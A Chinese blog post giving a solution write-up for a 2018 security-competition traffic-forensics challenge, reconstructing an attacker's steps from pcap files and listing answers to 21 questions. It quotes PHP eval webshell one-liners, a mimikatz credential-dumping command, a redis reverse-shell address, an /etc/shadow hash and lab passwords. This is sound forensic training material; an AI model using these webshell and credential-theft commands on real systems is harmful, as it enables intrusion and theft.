sky's blog

2018.6.1 信息安全铁人三项赛数据赛题解

字数统计: 3,324阅读时长: 13 min
2018/06/03 Share

前言

本场比赛为2018铁三分区赛最后一场,下面是题目分享:

1
链接: https://pan.baidu.com/s/145V_xyiMNOIE5bFbCTtNNg 密码: v6wu

题目描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1.被攻击的两个服务器的内网ip分别是多少,以下简称服务器1和2(格式:空格分隔,按黑客攻击顺序排列)  
2.两台服务器的主机名分别是什么
3.黑客使用了什么工具对服务器1进行的攻击(小写)
4.黑容成功登陆网站后台的账号密码以及验证码是什么(格式user/pass/vcode)
5.黑客向服务器1写入webshell的具体命令是什么(url解码后)
6.服务器1都开启了哪些允许外连的TCP注册端口(端口号从小到大,用空格间隔)
7.服务器1安装的修补程序名称
8.网站根目录的绝对路径(注意:大写,左斜杠,最后要有一个斜杠)
9.黑客使用什么命令或文件进行的内网扫描
10.扫描结果中服务器2开放了哪些端口(端口号从小到大,用空格隔开)
11.黑客执行的什么命令将administrator的密码保存到文件中
12.服务器1的系统管理员administrator的密码是什么
13.黑客进行内外扫描的ip范围(格式:xx.xx.xx.xx~xx.xx.xx.xx)
14.服务器1的mysql的root用户的密码是什么
15.黑客在服务器2中查看了哪个敏感文件(拿到shell之后),请写出绝对路径
16.服务器2的web网站后台账号密码(格式:账号/密码)
17.黑客在redis未授权访问中反弹shell的ip和端口是多少
18.黑客拿到root权限后执行的第二条命令是什么
19.服务器2的root用户密码是什么
20.黑客向服务器2写入webshell的命令
21.pcap中哪些ip发送过无偿ARP包(空格分隔,时间顺序排序)

题目解析(part 1)

首先拿到庞大的数据包,我们的第一选择肯定是找出攻击者,方便后续的大规模过滤筛选,而定位黑客的最直接的方式就是找到大量重复的探测流量,例如目录爆破、sql注入探测等
这里我们可以先过滤http流量,发现最瞩目的是202.1.1.2的sql探测

我们随便挑一个,可以清楚看到,是用sqlmap进行的注入探测,可以确定无误,202.1.1.2即黑客
而受害者为192.168.1.74
故此我们后续的过滤为

1
(ip.addr == 202.1.1.2 || ip.addr == 192.168.1.74) && http

在后续数据包(第五个数据包)里可以发现另一个被攻击的ip
过滤规则

ip.src == 192.168.1.74 && ip.dst !=202.1.1.2 && http

192.168.2.66

然后是主机名,对于主机名,我们知道,phpinfo是非常好的查看方式,不仅可以获取主机名,还可以知道根目录等有效信息,所以既然问了我们这个问题,我们不妨查看一下黑客是否查找了phpinfo()
使用指令

1
ip.addr == 192.168.1.74 && http contains "phpinfo"

可以发现第一个被攻击的主机的phpinfo流量

同理,在后续数据包查找第二台

1
ip.addr == 192.168.2.66 && http contains "phpinfo"


然后我们将phpinfo回显的html保存到本地方便查看

然后依次打开
第一台

第二台

于是我们的得到答案

1
TEST-7E28AF8836 cloude

接下来一个问题就是送分题了,正是我们前面分析的

1
sqlmap

然后接下来题目问我们有关登录的信息,所以我们选择过滤黑客ip和post请求方式

1
ip.addr == 202.1.1.2 && http.request.method == "POST"


很容易看到我们需要的答案

1
admin/adminlwphp/WD7x

接下来问我们小马的写入方式,我们这里选择简单的过滤攻击者的http流量

1
ip.src == 202.1.1.2 && http

在第二个数据包中

即可看到命令执行,写入小马的payload

1
GET /tmpbjhbf.php?cmd=echo ^<?php^ eval($_POST[ge]);?^>>abc.php HTTP/1.1\r\n

故此答案为

1
echo ^<?php^ eval($_POST[ge]);?^>>abc.php

然后是有关服务器允许外连的tcp注册端口
这里我们的第一选择肯定是去发掘黑客利用小马执行的命令
我们知道第一台服务器为windows(之前的phpinfo可见)
所以我们要找的指令肯定是netstat
但是对方使用中国菜刀,流量都是base64后的
过滤

1
ip.addr == 202.1.1.2 || ip.addr == 192.168.1.74 && http

故此,我们选择对目标菜刀流量依次查找,不难发现
黑客执行了netstat,并且得到了回显

1
cd /d "C:\WWW\"&netstat -ano&echo [S]&cd&echo [E]


刚开始输入

1
80 135 139 445 1025 3306 3389

发现答案错误,再仔细看描述,允许外连的TCP端口,后查阅资料,发现1025,3306,3389均可外连,于是得到答案
然后题目又问了服务器1安装的修补程序名称
这里我发现,黑客还执行了systeminfo

而我们知道,systeminfo中是会有修补程序一栏的,我们查看

即可得到结果

1
Q147222

然后是网站的根目录,根据之前的phpinfo信息,我们查看即可

答案为

1
C:/WWW/

然后是黑客扫描工具,这里我们可以发现黑客利用abc.php小马上传的文件

解码后发现文件名为

1
C:\\WWW\\my\\scan.php

即可得到答案
然后我们根据这个文件名进行过滤,查看黑客扫描结果

1
ip.addr == 202.1.1.2 || ip.addr == 192.168.1.74 && http contains "scan"


我们跟踪数据流

不难得到结果

1
80 3306 6379

同时得到扫描范围

1
192.168.1.1~192.168.3.255

然后我们继续查看流量,不难发现黑客使用了mimikatz

不难得到密码

Simplexue123
并且发现后续指令

1
cd /d "C:\WWW\my\mimi\"&mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt&echo [S]&cd&echo [E]

得到答案

阶段性梳理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
根据上述分析,我们可以知道黑客对第一台机器的大致攻击流程
1.sql注入探测
2.目录探测
3.找到命令执行,写入小马
4.上传反向代理文件,内网探测文件,mimikatz相关文件
5.查看系统参数等,加入hacker hacker管理员用户
阶段性答案梳理
>1.被攻击的两个服务器的内网ip分别是多少,以下简称服务器1和2(格式:空格分隔,按黑客攻击顺序排列)
192.168.1.74 192.186.2.66
>2.两台服务器的主机名分别是什么
TEST-7E28AF8836 cloude
>3.黑客使用了什么工具对服务器1进行的攻击(小写)
sqlmap
>4.黑容成功登陆网站后台的账号密码以及验证码是什么(格式user/pass/vcode)
admin/adminlwphp/WD7x
>5.黑客向服务器1写入webshell的具体命令是什么(url解码后)
echo ^<?php^ eval($_POST[ge]);?^>>abc.php
>6.服务器1都开启了哪些允许外连的TCP注册端口(端口号从小到大,用空格间隔)
1025 3306 3389
>7.服务器1安装的修补程序名称
Q147222
>8.网站根目录的绝对路径(注意:大写,左斜杠,最后要有一个斜杠)
C:/WWW/
>9.黑客使用什么命令或文件进行的内网扫描
scan.php
>10.扫描结果中服务器2开放了哪些端口(端口号从小到大,用空格隔开)
80 3306 6379
>11.黑客执行的什么命令将administrator的密码保存到文件中
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt
>12.服务器1的系统管理员administrator的密码是什么
Simplexue123
>13.黑客进行内外扫描的ip范围(格式:xx.xx.xx.xx~xx.xx.xx.xx)
192.168.1.1~192.168.3.255

题目解析(part 2)

紧接着题目问服务器1的mysql的root用户的密码是什么,这里应该是读取了配置文件
我们在第四个数据包中查看黑客执行的命令,不难发现

黑客查看了文件

1
C:\\WWW\\configs\\config.php

并得到了信息

1
2
3
4
$mydbhost="localhost"; 
$mydbuser="root";
$mydbpw ="windpasssql";
$mydbname="510cms";

从而得到了答案
我们不难想起来,第二台服务器开了6379端口,即redis服务,所以我个人认为,黑客应该是通过打redis获取root权限,然后向第二台机子写入的小马
那么既然是打redis,我们过滤http流量肯定是不行的,所以这里选择过滤tcp
不难找到以下攻击

可见黑客的确反弹了shell,获取了权限
然后黑客进行了大量操作

其中不难发现,黑客查看了敏感文件/etc/shadow,并写入了shell:indexs.php

其中root信息为

1
root:$6$pJIpnrap9xQnDvB/$dGJnXpT1mMIzAD7K0WiE12rKVRgqCleL9u528e/Bgc2AIblZ3I1bDXfkLZhFehU/C3eCt/il35tiQP1DFccVO0:17030:0:99999:7:::

这里对

1
$6$pJIpnrap9xQnDvB/$dGJnXpT1mMIzAD7K0WiE12rKVRgqCleL9u528e/Bgc2AIblZ3I1bDXfkLZhFehU/C3eCt/il35tiQP1DFccVO0

爆破无果,后来跳过该题目才知道,竟然是

1
Simplexue123

竟然还带着点猜和脑洞,好吧~
但是这一系列的操作里,我们得到了许多后续答案
我们整理一下

15.黑客在服务器2中查看了哪个敏感文件(拿到shell之后),请写出绝对路径
/etc/shadow
17.黑客在redis未授权访问中反弹shell的ip和端口是多少
202.1.1.2/6666
18.黑客拿到root权限后执行的第二条命令是什么
cd /var/www/html
19.服务器2的root用户密码是什么
Simplexue123
20.黑客向服务器2写入webshell的命令
echo '<?php eval($_POST[a]);'>indexs.php

然后是最后剩下的两个题目,关于服务器2的管理员密码,我们在第6个数据包里不难发现黑客读取的内容
这里过滤选择关键词admin或者root都可以

解md5后得到管理员密码

1
112233.com

最后得到答案

1
admin/112233.com

关于最后一个题,比较难受,我们是谷歌到的特征,关于无偿arp包,其isgratuitous必须为true
故此挨个过滤每个数据包

1
arp && arp.isgratuitous == true


依次查看,即可得到答案

1
2
3
192.168.3.213
192.168.3.6
192.168.3.19

题目答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
1.被攻击的两个服务器的内网ip分别是多少,以下简称服务器1和2(格式:空格分隔,按黑客攻击顺序排列)  
192.168.1.74 192.186.2.66
2.两台服务器的主机名分别是什么
TEST-7E28AF8836 cloude
3.黑客使用了什么工具对服务器1进行的攻击(小写)
sqlmap
4.黑容成功登陆网站后台的账号密码以及验证码是什么(格式user/pass/vcode)
admin/adminlwphp/WD7x
5.黑客向服务器1写入webshell的具体命令是什么(url解码后)
echo ^<?php^ eval($_POST[ge]);?^>>abc.php
6.服务器1都开启了哪些允许外连的TCP注册端口(端口号从小到大,用空格间隔)
1025 3306 3389
7.服务器1安装的修补程序名称
Q147222
8.网站根目录的绝对路径(注意:大写,左斜杠,最后要有一个斜杠)
C:/WWW/
9.黑客使用什么命令或文件进行的内网扫描
scan.php
10.扫描结果中服务器2开放了哪些端口(端口号从小到大,用空格隔开)
80 3306 6379
11.黑客执行的什么命令将administrator的密码保存到文件中
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >>log.txt
12.服务器1的系统管理员administrator的密码是什么
Simplexue123
13.黑客进行内外扫描的ip范围(格式:xx.xx.xx.xx~xx.xx.xx.xx)
192.168.1.1~192.168.3.255
14.服务器1的mysql的root用户的密码是什么
windpasssql
15.黑客在服务器2中查看了哪个敏感文件(拿到shell之后),请写出绝对路径
/etc/shadow
16.服务器2的web网站后台账号密码(格式:账号/密码)
admin/112233.com
17.黑客在redis未授权访问中反弹shell的ip和端口是多少
202.1.1.2/6666
18.黑客拿到root权限后执行的第二条命令是什么
cd /var/www/html
19.服务器2的root用户密码是什么
Simplexue123
20.黑客向服务器2写入webshell的命令
echo '<?php eval($_POST[a]);'>indexs.php
21.pcap中哪些ip发送过无偿ARP包(空格分隔,时间顺序排序)
192.168.3.213 192.168.3.6 192.168.3.19

后记

终于打完了自己的一场比赛,说实话发挥并不理想,比自己预期的解题速度慢了许多,还是有很多不了解的知识点。希望借助重复的训练增强自己吧~

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 题目描述
  3. 3. 题目解析(part 1)
  4. 4. 阶段性梳理
  5. 5. 题目解析(part 2)
  6. 6. 题目答案
  7. 7. 后记